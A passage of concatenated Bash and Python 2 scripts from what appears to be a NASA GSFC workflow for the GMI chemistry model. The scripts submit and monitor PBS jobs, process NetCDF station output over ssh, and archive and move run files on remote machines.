AUTHORS: <NAME> NASA GSFC / NGIT / TASC # # DESCRIPTION: # Constructor routine. #--------------------------------------------------------------------------- def __init__(self): self.xmlDoc = None self.fileName = None #--------------------------------------------------------------------------- # AUTHORS: <NAME> NASA GSFC / NGIT / TASC # # DESCRIPTION: # Destructor routine #--------------------------------------------------------------------------- def __del__(self): pass def getValueFromFile (self, searchKey, varName): if self.fileName == None or not os.path.exists (self.fileName): raise self.BAD_INPUT xmlDoc= xml.dom.minidom.parse(self.fileName) entries=xmlDoc.getElementsByTagName(searchKey) for entry in entries: if re.search(varName, entry.toxml()): return entry.firstChild.data <file_sep>#!/bin/bash export workflowConfig=$NED_WORKING_DIR/WorkflowConfigs.bash echo $workflowConfig . $workflowConfig echo "------------------------" echo "NED_USER: $NED_USER" echo "REMOTE_USER: $REMOTE_USER" echo "NED_WORKING_DIR: $NED_WORKING_DIR" echo "------------------------" echo "" . $NED_WORKING_DIR/bin/ReturnMonth.bash export currentYear=${CURRENT_DATE:0:4} export numMonth=${CURRENT_DATE:4:2} export currentMonth='xxx' returnMonth $numMonth $currentMonth if [ "$currentMonth" = "xxx" ]; then echo "Month not recognized" exit -1 fi export NC_HEADER_DATA="-v col_latitude,col_longitude,am,bm,ai,bi,surf_pres,${TEMPERATURE_VAR},humidity,const,const_surf" #export NC_HEADER_DATA="-v col_latitude,col_longitude,am,bm,ai,bi,surf_pres,kel,humidity,const,const_surf" fileName="gmic_"$EXP_NAME"_"$currentYear"_"$currentMonth".profile.nc" fileName2="gmic_"$EXP_NAME"_"$currentYear"_"$currentMonth".profile2.nc" ssh $REMOTE_USER@$MACH <<EOF cd $WORK_DIR pwd ncks $NC_HEADER_DATA $fileName $fileName2 exit EOF echo "Returned from SSH" export NC_HEADER_DATA=" -v station_labels,station_dim" ssh $REMOTE_USER@$MACH <<EOF cd $WORK_DIR pwd ncks $NC_HEADER_DATA labels.nc --append $fileName2 exit EOF echo "Returned from SSH" export NC_HEADER_DATA="-v hdf_dim,hdr,species_dim,const_labels,pressure" ssh $REMOTE_USER@$MACH <<EOF cd $WORK_DIR pwd ncks $NC_HEADER_DATA ${currentMonth}.const.nc --append $fileName2 exit EOF echo "Returned from SSH" echo "ssh $REMOTE_USER@$MACH ls $WORK_DIR/$fileName2" ssh $REMOTE_USER@$MACH ls $WORK_DIR/$fileName2 export outputCode=$? if [ "$outputCode" != "0" ]; then echo "There was a problem creating the file: $WORK_DIR/$fileName2" echo "------------------------" exit -1 else echo "Output check cleared: $outputCode" fi echo "ssh $REMOTE_USER@$MACH mv $WORK_DIR/$fileName2 $WORK_DIR/$fileName" ssh $REMOTE_USER@$MACH mv $WORK_DIR/$fileName2 $WORK_DIR/$fileName export outputCode=$? if [ "$outputCode" != "0" ]; then echo "There was a problem moving the file: $WORK_DIR/$fileName2" echo "------------------------" exit -1 else echo "Output check cleared: $outputCode" fi echo "ssh $REMOTE_USER@$MACH rm $WORK_DIR/$currentMonth.const.nc" ssh $REMOTE_USER@$MACH rm $WORK_DIR/$currentMonth.const.nc export outputCode=$? if [ "$outputCode" != "0" ]; then echo "There was a problem removing the file: $WORK_DIR/$currentMonth.const.nc" echo "------------------------" exit -1 else echo "Output check cleared: $outputCode" fi # MRD: Todo - add check for file size or check header variables echo "exiting" exit 0 <file_sep>#!/bin/bash . $NED_WORKING_DIR/.exp_env.bash . $ENV_FILE echo "------------------------" echo "NED_USER: $NED_USER" echo "NED_WORKING_DIR: $NED_WORKING_DIR" echo "------------------------" echo "" echo "------------------------" echo "" export ARCHIVE_ENV_FILE="$NED_WORKING_DIR/.$ARCHIVE_MACH"_env.bash echo "ARCHIVE_ENV_FILE: $ARCHIVE_ENV_FILE" . $ARCHIVE_ENV_FILE echo "Creating the output directory: $ARCHIVE_DIR on $ARCHIVE_MACH" echo "$SSH_PATH $NED_USER@$ARCHIVE_MACH $MKDIR -p $ARCHIVE_DIR " $SSH_PATH $NED_USER@$ARCHIVE_MACH $MKDIR -p $ARCHIVE_DIR if [ "$?" != "0" ]; then echo "Could not create the directory $ARCHIVE_DIR on $ARCHIVE_MACH" echo "----------------------------" echo "" exit -1 fi echo "----------------------------" export NAMELIST_FILE="gmiWork.in" echo "$NED_WORKING_DIR/$NED_UNIQUE_ID/bin/util/./MakeQueueScript.py -f $NED_WORKING_DIR/transfer_ref -n \"4\" -e $NUM_PROCS_PER_NODE -m $NAMELIST_FILE -p $WORK_DIR -c $GROUP_LIST -a $CHEMISTRY -d $NED_WORKING_DIR -w \"1:00:00\" -e $scali -u false -i $INCLUDE_NL_MPIRUN" $NED_WORKING_DIR/$NED_UNIQUE_ID/bin/util/./MakeQueueScript.py -f $NED_WORKING_DIR/transfer_ref -n "4" -e $NUM_PROCS_PER_NODE -m $NAMELIST_FILE -p $WORK_DIR -c $GROUP_LIST -a $CHEMISTRY -d $NED_WORKING_DIR -w "1:00:00" -e $scali -u false -i $INCLUDE_NL_MPIRUN . $ENV_FILE export TRANSFER_FILE=$NED_WORKING_DIR/gmiWork.qsub echo "$SCP_PATH $TRANSFER_FILE $NED_USER@$MACH:$WORK_DIR" $SCP_PATH $TRANSFER_FILE $NED_USER@$MACH:$WORK_DIR if [ "$?" != "0" ]; then echo "There was a problem updating the the transfer file: $TRANSFER_FILE" echo "------------------------" exit -1 fi # get the accounting file name . $NED_WORKING_DIR/.accounting_path echo "accountingFile = $accountingFile" echo "NED_REAL_USER = $NED_REAL_USER" if [ "$NED_REAL_USER" == "" ]; then export NED_REAL_USER=$NED_USER fi # call the script to submit the job, record the accounting information and append jobID to the env file echo "$NED_WORKING_DIR/$NED_UNIQUE_ID/bin/util/./SubmitPbsJobAndRecord.py -f $WORK_DIR/gmiWork.qsub -q $QSUB -a $accountingFile -n $NED_USER -r $NED_REAL_USER -w $NED_WORKING_DIR/.exp_env.bash -s $MACH -d $WORK_DIR" $NED_WORKING_DIR/$NED_UNIQUE_ID/bin/util/./SubmitPbsJobAndRecord.py -f $WORK_DIR/gmiWork.qsub -q $QSUB -a $accountingFile -n $NED_USER -r $NED_REAL_USER -w $NED_WORKING_DIR/.exp_env.bash -s $MACH -d $WORK_DIR echo $? . $NED_WORKING_DIR/.exp_env.bash if [ "$jobID" == "" ]; then echo "There was a queue submission problem" exit -1 fi #------------------------------------------------------------------------------ # watch the job until it runs or exits #------------------------------------------------------------------------------ status = "" let numberOfEmpty=0 export jobId=$jobID echo "--------------------------------------------------------------------" while true; do echo -e "\nssh $NED_USER@$MACH $QSTAT | grep ${jobId} | awk '{print $5}'" status=`ssh $NED_USER@$MACH $QSTAT | grep ${jobId} | awk '{print $5}'` echo "status is $status" sleep 45 #-------------------------------------------------------------------------- # look at the state of the job #--------------------------------------------------------------------------- if [ "$status" = "Q" ]; then echo "Job is queued, status is $status" elif [ "$status" = "R" ]; then echo "Job is now running, status is $status" elif [ "$status" = "" ]; then counter=0 numberOfEmpty=0 #--------------------------------------------------------------------------- # keeps checking the batch system in case of a false negative #-------------------------------------------------------------------------- while [ $counter -lt 5 ]; do sleep 10 status=`ssh $NED_USER@$MACH $QSTAT | grep ${jobId} | awk '{print $5}'` if [ "$status" = "" ]; then echo "Job status is empty again!" let numberOfEmpty=numberOfEmpty+1 fi let counter=counter+1 done #--------------------------------------------------------------------------- # exit when satified that the job has finished #-------------------------------------------------------------------------- if [ $numberOfEmpty -gt 4 ]; then echo "job status is empty! - will exit" break fi fi done #--------------------------------------------------------------------------- # move the standard output/error file #-------------------------------------------------------------------------- if [ $numberOfEmpty -gt 4 ] && [ "$status" = "" ]; then echo -e "\nssh $NED_USER@$MACH ls *$jobId" ssh $NED_USER@$MACH ls *$jobId if [ "$?" != "0" ]; then echo -e "\nssh $NED_USER@$MACH ls *$jobId" ssh $NED_USER@$MACH ls *$jobId if [ "$?" != "0" ]; then echo "Could not retrieve the standard err/out file for $jobId" exit -1 fi else echo -e "\nssh $NED_USER@$MACH mv -f *$jobId $WORK_DIR" ssh $NED_USER@$MACH mv -f *$jobId $WORK_DIR if [ "$?" != "0" ]; then echo "Could not move the standard err/out file for $jobId" exit -1 fi fi fi echo "export VIS_DIR=$ARCHIVE_DIR" >> $NED_WORKING_DIR/.exp_env.bash echo "export VIS_SYS=$ARCHIVE_MACH" >> $NED_WORKING_DIR/.exp_env.bash exit 0 <file_sep>#!/usr/bin/env python #------------------------------------------------------------------------------ # NASA/GSFC, Software Integration & Visualization Office, Code 610.3 #------------------------------------------------------------------------------ # AUTHORS: <NAME> # AFFILIATION: NASA GSFC / NGIT / TASC # DATE: Nov 19 2008 # # DESCRIPTION: #------------------------------------------------------------------------------ __author__ = '<NAME>' __version__ = '0.0' __date__ = '2008/11/19' import re import sys import xml.dom.minidom import getopt import os from XMLFileTools import XMLFileTools NUM_ARGS = 4 def usage (): print "Usage: ReadValueFromXMLFile.py [-f] [-s] [-n] [-w]" print "-f full path to remote XML file" print "-s search key" print "-n variable name" print "-w workflow env file" sys.exit (0) optList, argList = getopt.getopt(sys.argv[1:], 'f:s:n:w:') if len (optList) != NUM_ARGS: usage () fileName = optList[0][1] searchKey = optList[1][1] varName = optList[2][1] workflowEnvFile = optList[3][1] xmlObject = XMLFileTools () if not os.path.exists (workflowEnvFile): sys.stderr.write ("\nThe file: " + workflowEnvFile + " does not exist" + "\n") sys.exit (-1) try: xmlObject.fileName = fileName theValue = xmlObject.getValueFromFile (searchKey, varName) # add job id to workflow env file wkEnvFileHandle = open (workflowEnvFile, 'a') wkEnvFileHandle.write ('#' + varName + '\n') varName = varName.replace (' ', '_') wkEnvFileHandle.write ('export ' + varName + '="' + theValue + '"\n') wkEnvFileHandle.close () except: sys.stderr.write ("\nProblem getting the value of the variable: " + varName + "\n") sys.exit (-1) <file_sep>#!/bin/bash -xv . $NED_WORKING_DIR/.exp_env.bash . $ENV_FILE env >> $NED_WORKING_DIR/ENV.out $ENV_PATH $SED_PATH -e "s/=/:/g" > $NED_WORKING_DIR/ENV.out <file_sep>#!/usr/bin/env python #------------------------------------------------------------------------------ # AUTHORS: <NAME> # AFFILIATION: NASA GSFC / NGIT / TASC # DATE: June 8th, 2007 # # DESCRIPTION: # This script will archive GMI segment results on a remote system. # # Execute this script by typing : # python # # NOTE: # # ** As input this script excepts a FULL PATH to a run directory; DO NOT # use unix/linux variables such as $HOME or relative paths. # Modification History #------------------------------------------------------------------------------ __author__ = '<NAME>' __version__ = '0.0' __date__ = '2008/24/4' import getopt import sys import os import time import commands from GmiProduction import GmiProduction NUM_ARGS=7 def usage (): print "Usage: MakeQueueScript.py [-r][-d][-w][-n][-q][-c][-u]" print "-r Remote system" print "-d Date" print "-w Working directory on remote system" print "-n Namelist file for segment" print "-q Queue id" print "-c Local run directory (NED_WORKING_DIR)" print "-u User name" sys.exit (0) #--------------------------------------------------------------- # Get options from command line #--------------------------------------------------------------- optList, argList = getopt.getopt(sys.argv[1:],'r:d:w:n:q:c:u:') if len (optList) != NUM_ARGS: usage () productionObject = GmiProduction () productionObject.nameListName = optList[3][1] productionObject.runDirectory = optList[5][1] productionObject.fillInYearAndMonth () productionObject.runDirectory = optList[2][1] productionObject.queueId = optList[4][1] productionObject.userName = optList[6][1] theDate = optList[1][1] productionObject.year = theDate[0:4] print "Archving job with id LALA: ", productionObject.queueId print optList[0][1] print "Before copyOutputDataToTempArchive" productionObject.copyOutputDataToTempArchive (optList[0][1]) <file_sep>#!/bin/bash -xv . $NED_WORKING_DIR/.exp_env.bash . $ENV_FILE echo "------------------------" echo "NED_USER: $NED_USER" echo "NED_WORKING_DIR: $NED_WORKING_DIR" echo "------------------------" echo "" echo "------------------------" echo "" echo "----------------------------" exit 0 <file_sep>#!/bin/bash export workflowConfig=$NED_WORKING_DIR/WorkflowConfigs.bash echo $workflowConfig . $workflowConfig echo "------------------------" echo "NED_USER: $NED_USER" echo "REMOTE_USER: $REMOTE_USER" echo "NED_WORKING_DIR: $NED_WORKING_DIR" echo "------------------------" echo "" . $NED_WORKING_DIR/bin/ReturnMonth.bash export currentYear=${CURRENT_DATE:0:4} export numMonth=${CURRENT_DATE:4:2} export currentMonth='xxx' returnMonth $numMonth $currentMonth if [ "$currentMonth" = "xxx" ]; then echo "Month not recognized" exit -1 fi fileName="gmic_"$EXP_NAME"_"$currentYear"_"$currentMonth".profile.nc" ssh $REMOTE_USER@$MACH <<EOF cd $WORK_DIR pwd ncecat `cat ${currentMonth}StationNames.list` $fileName ncrename -d record,station_dim $fileName exit EOF echo "Returned from SSH" echo "ssh $REMOTE_USER@$MACH ls $WORK_DIR/$fileName" ssh $REMOTE_USER@$MACH ls $WORK_DIR/$fileName export outputCode=$? if [ "$outputCode" != "0" ]; then echo "There was a problem creating the file: $WORK_DIR/$fileName" echo "------------------------" exit -1 else echo "Output check cleared: $outputCode" fi # MRD: Todo - add check for file size or check header variables echo "exiting" exit 0 <file_sep>#!/bin/bash #export workflowConfig=$NED_WORKING_DIR/WorkflowConfigs.bash export workflowConfig=$NED_WORKING_DIR/.exp_env.bash echo $workflowConfig . $workflowConfig echo "------------------------" echo "NED_USER: $NED_USER" echo "NED_WORKING_DIR: $NED_WORKING_DIR" echo "------------------------" echo "" echo "----------------------------" echo "Create working directory: $STN_WORK_DIR" echo "------------------------" echo "" echo "ssh $NED_USER@$MACH mkdir $STN_WORK_DIR" ssh $NED_USER@$MACH mkdir $STN_WORK_DIR export outputCode=$? if [ "$outputCode" != "0" ]; then echo "There was a problem creating $STN_WORK_DIR" echo "------------------------" exit -1 else echo "Output check cleared: $outputCode" fi echo "Resetting CURRENT DATE before Station Processing loop" echo "export CURRENT_DATE=" >> $workflowConfig echo "----------------------------" echo "Uploading labels.nc" echo "------------------------" echo "" echo "scp ${NED_WORKING_DIR}/labels.nc $NED_USER@$MACH:$STN_WORK_DIR" scp ${NED_WORKING_DIR}/labels.nc $NED_USER@$MACH:$STN_WORK_DIR export outputCode=$? if [ "$outputCode" != "0" ]; then echo "There was a problem copying labels.nc $MACH" echo "------------------------" exit -1 else echo "Output check cleared: $outputCode" fi echo "----------------------------" exit 0 <file_sep>#!/bin/bash #export workflowConfig=$NED_WORKING_DIR/WorkflowConfigs.bash export workflowConfig=$NED_WORKING_DIR/.exp_env.bash echo $workflowConfig . $workflowConfig echo "------------------------" echo "NED_USER: $NED_USER" echo "NED_WORKING_DIR: $NED_WORKING_DIR" echo "------------------------" echo "" . $NED_WORKING_DIR/$NED_UNIQUE_ID/bin/ReturnMonth.bash export currentYear=${CURRENT_DATE:0:4} export numMonth=${CURRENT_DATE:4:2} export currentMonth='xxx' returnMonth $numMonth $currentMonth if [ "$currentMonth" = "xxx" ]; then echo "Month not recognized" exit -1 fi export NC_HEADER_DATA="-v col_latitude,col_longitude,am,bm,ai,bi,surf_pres,pot_temp,humidity,const,const_surf" fileName="gmic_"$EXP_NAME"_"$currentYear"_"$currentMonth".profile.nc" fileName2="gmic_"$EXP_NAME"_"$currentYear"_"$currentMonth".profile2.nc" ssh $NED_USER@$MACH <<EOF cd $STN_WORK_DIR pwd ncks $NC_HEADER_DATA $fileName $fileName2 # cp $fileName $fileName2 exit EOF echo "Returned from SSH" export NC_HEADER_DATA=" -v station_labels,station_dim" ssh $NED_USER@$MACH <<EOF cd $STN_WORK_DIR pwd ncks $NC_HEADER_DATA labels.nc --append $fileName2 # echo "fake: $NC_HEADER_DATA labels.nc --append $fileName2" exit EOF echo "Returned from SSH" export NC_HEADER_DATA="-v hdf_dim,hdr,species_dim,const_labels,pressure" ssh $NED_USER@$MACH <<EOF cd $STN_WORK_DIR pwd ncks $NC_HEADER_DATA ${currentMonth}.const.nc --append $fileName2 # echo "fake: $NC_HEADER_DATA ${currentMonth}.const.nc --append $fileName2" exit EOF echo "Returned from SSH" echo "ssh $NED_USER@$MACH ls $STN_WORK_DIR/$fileName2" ssh $NED_USER@$MACH ls $STN_WORK_DIR/$fileName2 export outputCode=$? if [ "$outputCode" != "0" ]; then echo "There was a problem creating the file: $STN_WORK_DIR/$fileName2" echo "------------------------" exit -1 else echo "Output check cleared: $outputCode" fi echo "ssh $NED_USER@$MACH mv $STN_WORK_DIR/$fileName2 $STN_WORK_DIR/$fileName" ssh $NED_USER@$MACH mv $STN_WORK_DIR/$fileName2 $STN_WORK_DIR/$fileName export outputCode=$? if [ "$outputCode" != "0" ]; then echo "There was a problem moving the file: $STN_WORK_DIR/$fileName2" echo "------------------------" exit -1 else echo "Output check cleared: $outputCode" fi echo "ssh $NED_USER@$MACH rm $STN_WORK_DIR/$currentMonth.const.nc" ssh $NED_USER@$MACH rm $STN_WORK_DIR/$currentMonth.const.nc export outputCode=$? if [ "$outputCode" != "0" ]; then echo "There was a problem removing the file: $STN_WORK_DIR/$currentMonth.const.nc" echo "------------------------" exit -1 else echo "Output check cleared: $outputCode" fi # MRD: Todo - add check for file size or check header variables echo "exiting" exit 0 <file_sep>#!/bin/bash #export workflowConfig=$NED_WORKING_DIR/WorkflowConfigs.bash export workflowConfig=$NED_WORKING_DIR/.exp_env.bash echo $workflowConfig . $workflowConfig echo "------------------------" echo "NED_USER: $NED_USER" echo "NED_WORKING_DIR: $NED_WORKING_DIR" echo "------------------------" echo "" export diagDirectory=$WORK_DIR/completed/$YEAR/diagnostics echo "----------------------------" echo "Move diagnostic files to: $diagDirectory" echo "------------------------" echo "" for fileType in "${DIAG_NAMES[@]}" do export fileString="*$EXP_NAME*$fileType*nc" echo "ssh $NED_USER@$MACH mv $WORK_DIR/$fileString $diagDirectory" ssh $NED_USER@$MACH mv $WORK_DIR/$fileString $diagDirectory export outputCode=$? if [ "$outputCode" == "0" ]; then echo "$fileString moved to $diagDirectory" elif [ "$outputCode" == "1" ]; then echo "$fileString NOT moved to $diagDirectory" else echo "Don't understand this code: $outputCode" exit -1 fi done echo "ssh $NED_USER@$MACH ls $diagDirectory/*nc | wc -l" numDiagFiles=`ssh $NED_USER@$MACH ls $diagDirectory/*nc | wc -l` #trim leading whitespace with echo trick: numDiagFiles=`echo $numDiagFiles` echo "num diag files: $numDiagFiles" echo "export numDiagFiles=$numDiagFiles" >> $workflowConfig echo "Success. Exiting" exit 0 <file_sep>#!/bin/bash #export workflowConfig=$NED_WORKING_DIR/WorkflowConfigs.bash export workflowConfig=$NED_WORKING_DIR/.exp_env.bash echo $workflowConfig . $workflowConfig echo "------------------------" echo "NED_USER: $NED_USER" echo "NED_WORKING_DIR: $NED_WORKING_DIR" echo "------------------------" echo "" export runDirectory=$WORK_DIR/completed/$YEAR/run_info echo "----------------------------" echo "Move run files to: $runDirectory" echo "------------------------" echo "" # Switched from "mv" to "find -exec mv" to avoid [Argument list too long] error on OS X echo "ssh $NED_USER@$MACH find $WORK_DIR -maxdepth 1 -type f -name \"*\" -exec mv {} $runDirectory \;" #ssh $NED_USER@$MACH mv $WORK_DIR/* $runDirectory ssh $NED_USER@$MACH "find $WORK_DIR -maxdepth 1 -type f -name \"*\" -exec mv {} $runDirectory \;" export outputCode=$? echo "output: $outputCode" if [ "$outputCode" == "0" ]; then echo "Odd return code! Check that the run files moved to $runDirectory" elif [ "$outputCode" == "1" ]; then echo "Normal return code. Run files should have moved to $runDirectory" else echo "Don't understand this code: $outputCode" exit -1 fi echo "ssh $NED_USER@$MACH ls $runDirectory/* | wc -l" numRunFiles=`ssh $NED_USER@$MACH ls $runDirectory/* | wc -l` #trim leading whitespace with echo trick: numRunFiles=`echo $numRunFiles` echo "num run files: $numRunFiles" echo "export numRunFiles=$numRunFiles" >> $workflowConfig echo "Success. Exiting" exit 0 <file_sep>#!/bin/bash . $NED_WORKING_DIR/.exp_env.bash . $ENV_FILE echo "------------------------" echo "NED_USER: $NED_USER" echo "NED_WORKING_DIR: $NED_WORKING_DIR" echo "------------------------" # call the script to look at the job's stdout echo "About to call python..." python -u $NED_WORKING_DIR/$NED_UNIQUE_ID/bin/util/DetermineModelTimeStep.py -f $WORK_DIR/stdout.log -e $NED_WORKING_DIR/.exp_env.bash returnCode=$? echo "Back in bash, return code is: ", $returnCode if [ $returnCode == 1 ]; then echo "Year over. Creating STOP file..." touch STOP fi if [ $returnCode == 0 ]; then echo "Year not over." fi if [ $returnCode == 254 ]; then echo "Model has likely crashed/aborted in error/killed in queue" exit -1 fi echo "Exiting determine_model_timestep.bash"<file_sep>#!/bin/bash returnMonth () { export numMonth=$1 case "$numMonth" in '01' ) export currentMonth='jan' ; ;; '02' ) export currentMonth='feb' ; ;; '03' ) export currentMonth='mar' ; ;; '04' ) export currentMonth='apr' ; ;; '05' ) export currentMonth='may' ; ;; '06' ) export currentMonth='jun' ; ;; '07' ) export currentMonth='jul' ; ;; '08' ) export currentMonth='aug' ; ;; '09' ) export currentMonth='sep' ; ;; '10' ) export currentMonth='oct' ; ;; '11' ) export currentMonth='nov' ; ;; '12' ) export currentMonth='dec' ; ;; * ) export currentMonth='xxx' ; ;; esac if [ "$currentMonth" = "xxx" ]; then echo "Month not recognized" exit -1 fi eval "$2=$currentMonth" } <file_sep>#!/bin/bash export workflowConfig=$NED_WORKING_DIR/WorkflowConfigs.bash echo $workflowConfig . $workflowConfig echo "------------------------" echo "NED_USER: $NED_USER" echo "NED_WORKING_DIR: $NED_WORKING_DIR" echo "------------------------" echo "" echo "Current date: " $CURRENT_DATE . $NED_WORKING_DIR/bin/ReturnMonth.bash export currentYear=${CURRENT_DATE:0:4} export numMonth=${CURRENT_DATE:4:2} export currentMonth='xxx' returnMonth $numMonth $currentMonth if [ "$currentMonth" = "xxx" ]; then echo "Month not recognized" exit -1 fi echo "----------------------------" echo "Creating station name file" echo "------------------------" echo "" for station in "${colDiagStationsNames[@]}" do echo "echo -n gmic_${EXP_NAME}_${currentYear}_${currentMonth}_${station}.profile.nc" " >> ${NED_WORKING_DIR}/${currentMonth}StationNames.list" echo -n gmic_${EXP_NAME}_${currentYear}_${currentMonth}_${station}.profile.nc" " >> ${NED_WORKING_DIR}/${currentMonth}StationNames.list done echo "scp ${NED_WORKING_DIR}/${currentMonth}StationNames.list $REMOTE_USER@$MACH:$WORK_DIR" scp ${NED_WORKING_DIR}/${currentMonth}StationNames.list $REMOTE_USER@$MACH:$WORK_DIR export outputCode=$? if [ "$outputCode" != "0" ]; then echo "There was a problem copying ${currentMonth}StationNames.list file to $MACH" echo "------------------------" exit -1 else echo "Output check cleared: $outputCode" fi echo "----------------------------" echo "Adding $currentMonth as lastMonth to workflow config" echo "------------------------" echo "" echo "export lastMonth=$currentMonth" >> $workflowConfig exit 0 <file_sep>#!/usr/bin/env python #------------------------------------------------------------------------------ # NASA/GSFC, Software Integration & Visualization Office, Code 610.3 #------------------------------------------------------------------------------ # AUTHORS: <NAME> # AFFILIATION: NASA GSFC / NGIT / TASC # DATE: November 7th 2006 # # DESCRIPTION: # This class contains methods for GmiAutomationTools tasks. #------------------------------------------------------------------------------ import os import sys import datetime import re from GmiMetFieldTask import GmiMetFieldTask from GmiAutomationConstants import GmiAutomationConstants class GmiAutomationTools: LINESPERINPUTENTRY = 5.0 LINESPERINPUTENTRYINTEGER = 5 DEFAULTNUMBEROFDAYS = 1 #--------------------------------------------------------------------------- # AUTHORS: <NAME> NASA GSFC / NGIT / TASC # # DESCRIPTION: # Constructor routine. #--------------------------------------------------------------------------- def __init__(self): self.tasks = [] self.numberOfEntries = 0 self.constants = GmiAutomationConstants () pass #--------------------------------------------------------------------------- # AUTHORS: <NAME> NASA GSFC / NGIT / TASC # # DESCRIPTION: # Destructor routine. #--------------------------------------------------------------------------- def __del__(self): pass #--------------------------------------------------------------------------- # AUTHORS: <NAME> NASA GSFC / NGIT / TASC # # DESCRIPTION: # This routine checks for the existence of the fileName. #--------------------------------------------------------------------------- def checkForSpecialInputFile (self, fileName): if len (fileName) == 0: return GmiAutomationTools.constants.ERROR if not os.path.exists (fileName): return GmiAutomationTools.constants.NOSUCHFILE return GmiAutomationTools.constants.NOERROR #--------------------------------------------------------------------------- # AUTHORS: <NAME> NASA GSFC / NGIT / TASC # # DESCRIPTION: # This routine reads the input file and returns appropriate error messages. # The routine uses the class attribute, LINESPERINPUTENTRY, to determine # if file contains the correct number of lines. # The file may contains multiple entires with LINESPERINPUTENTRY lines. #--------------------------------------------------------------------------- def readInputFile (self, fileName): if self.checkForSpecialInputFile (fileName) != GmiAutomationTools.constants.NOERROR: return GmiAutomationTools.constants.READERROR try: fileObject = open (fileName, 'r') fileContents = fileObject.read () fileObject.close () except: return GmiAutomationTools.constants.READERROR if len (fileContents) == 0: return GmiAutomationTools.constants.BADFILENAME fileLines = fileContents.splitlines() if len (fileLines) % GmiAutomationTools.LINESPERINPUTENTRY != 0: return GmiAutomationTools.constants.INCOMPLETEFILE # there are LINESPERINPUTENTRY per entry self.numberOfEntries = len (fileLines) / GmiAutomationTools.LINESPERINPUTENTRY lineCounter = 0 if len (self.tasks) == 0: entryCounter = 0 else: entryCounter = len (self.tasks) while lineCounter < len (fileLines): self.tasks.append (GmiMetFieldTask ()) self.tasks[entryCounter].numberOfDays = int (fileLines [lineCounter]) lineCounter = lineCounter + 1 self.tasks[entryCounter].firstDay = fileLines [lineCounter] lineCounter = lineCounter + 1 self.tasks[entryCounter].destinationPath = fileLines [lineCounter] lineCounter = lineCounter + 1 self.tasks[entryCounter].sourcePath = fileLines [lineCounter] lineCounter = lineCounter + 1 self.tasks[entryCounter].filePrefix = fileLines [lineCounter] lineCounter = lineCounter + 1 returnCode = self.tasks[entryCounter].setDate (self.tasks[entryCounter].firstDay) if returnCode != self.constants.NOERROR: return self.constants.ERROR entryCounter = entryCounter + 1 return GmiAutomationTools.constants.NOERROR #--------------------------------------------------------------------------- # AUTHORS: <NAME> NASA GSFC / NGIT / TASC # # DESCRIPTION: # This routine looks for the input file in the current # directory and fills the tasks object with the information # from file or the default information for the current day #--------------------------------------------------------- ------------------ def getGmiMetFieldTasks (self, inputFileName): returnCode = self.checkForSpecialInputFile (inputFileName) if returnCode == GmiAutomationTools.constants.ERROR: return returnCode if returnCode != self.constants.NOSUCHFILE: returnCode = self.readInputFile (inputFileName) if returnCode != GmiAutomationTools.constants.NOERROR: return returnCode else: returnCode = self.getDefaultForecastTaskConfiguration ( ) if returnCode != GmiAutomationTools.constants.NOERROR: return returnCode return GmiAutomationTools.constants.NOERROR #--------------------------------------------------------------------------- # AUTHORS: <NAME> NASA GSFC / NGIT / TASC # # DESCRIPTION: # This routine fills tasks[0] with the default configuration for a # task #--------------------------------------------------------------------------- def getDefaultForecastTaskConfiguration (self): self.tasks.append (GmiMetFieldTask ()) self.tasks[0].numberOfDays = 1 self.tasks[0].firstDay = self.getCurrentDate () self.tasks[0].filePrefix = 'a_flk_04.' self.tasks[0].setDate (self.tasks[0].firstDay) self.tasks[0].sourcePath = self.constants.DEFAULTFORECASTSOURCEPATH self.tasks[0].destinationPath = self.constants.DEFAULTFORECASTDESTINATIONPATH return GmiAutomationTools.constants.NOERROR #--------------------------------------------------------------------------- # AUTHORS: <NAME> NASA GSFC / NGIT / TASC # # DESCRIPTION: # This routine returns the current date in the format: YYYYMMDD #--------------------------------------------------------------------------- def getCurrentDate (self): today = datetime.datetime.date(datetime.datetime.now()) splitToday = re.split('-', str(today)) newToday = splitToday[0] + splitToday[1] + splitToday[2] return newToday #--------------------------------------------------------------------------- # AUTHORS: <NAME> NASA GSFC / NGIT / TASC # # DESCRIPTION: # This routine prints the current tasks. #--------------------------------------------------------------------------- def printTasks (self): if len (self.tasks) == 0: print "There are no tasks." return self.constants.NOERROR print "There are", len (self.tasks), "task(s)." print "\n" taskCounter = 0 while taskCounter < len (self.tasks): print "Task", taskCounter+1, ":" print "Number of days to process:", self.tasks[taskCounter].numberOfDays print "First day:", self.tasks[taskCounter].firstDay print "Destination path:", self.tasks[taskCounter].destinationPath print "Source path:", self.tasks[taskCounter].sourcePath print "File prefix:", self.tasks[taskCounter].filePrefix print "Year:", self.tasks[taskCounter].year print "Month:", self.tasks[taskCounter].month print "Day:", self.tasks[taskCounter].day print "\n" taskCounter = taskCounter + 1 return self.constants.NOERROR #--------------------------------------------------------------------------- # AUTHORS: <NAME> NASA GSFC / NGIT / TASC # # DESCRIPTION: # This routine returns a local file listing from the given file patter. # The file prefix is expected to include a path if outside the working # directory. Wildcards are not expected as part of the filePattern! # DO NOT USE wildcards, such as *! #--------------------------------------------------------------------------- def getMatchingFiles (self, path, filePattern): if len (filePattern) == 0: raise self.constants.INVALIDPATTERN if not os.path.exists (path): raise self.constants.NOSUCHPATH fileList = os.listdir (path) if filePattern == '*': return fileList returnedFileList = [] for file in fileList: if re.search (filePattern, file): returnedFileList.append (file) returnedFileList.sort () return returnedFileList #--------------------------------------------------------------------------- # AUTHORS: <NAME> NASA GSFC / NGIT / TASC # # DESCRIPTION: # This routine creates the directory structure if it does not exist. It # will exit on error if it is unable to create a directory. #--------------------------------------------------------------------------- def createDirectoryStructure (self, path): if len (path) <= 0: return self.constants.INVALIDINPUT directories = re.split('/', str(path)) growingPath = '' for directory in directories: growingPath = growingPath + directory + '/' if not os.path.exists (growingPath): systemCommand = self.constants.MKDIRPATH + 'mkdir ' + growingPath systemReturnCode = os.system (systemCommand) if systemReturnCode != 0: print "Error! returnCode is: ", systemReturnCode, " after attempting to create the directory: ", growingPath, "\n" return self.constants.BADSYSTEMRETURNCODE return self.constants.NOERROR #--------------------------------------------------------------------------- # AUTHORS: <NAME> NASA GSFC / NGIT / TASC # # DESCRIPTION: # This routine adds the specified path to the list of file names given. #--------------------------------------------------------------------------- def addPathToFileNames (self, path, fileNames): if len (fileNames) <= 0: raise self.constants.INVALIDFILENAMES returnedFileNames = [] for fileName in fileNames: if len (fileName) == 0: raise self.constants.INVALIDFILENAMES newFileName = path + fileName returnedFileNames.append (newFileName) return returnedFileNames #--------------------------------------------------------------------------- # AUTHORS: <NAME> NASA GSFC / NGIT / TASC # # 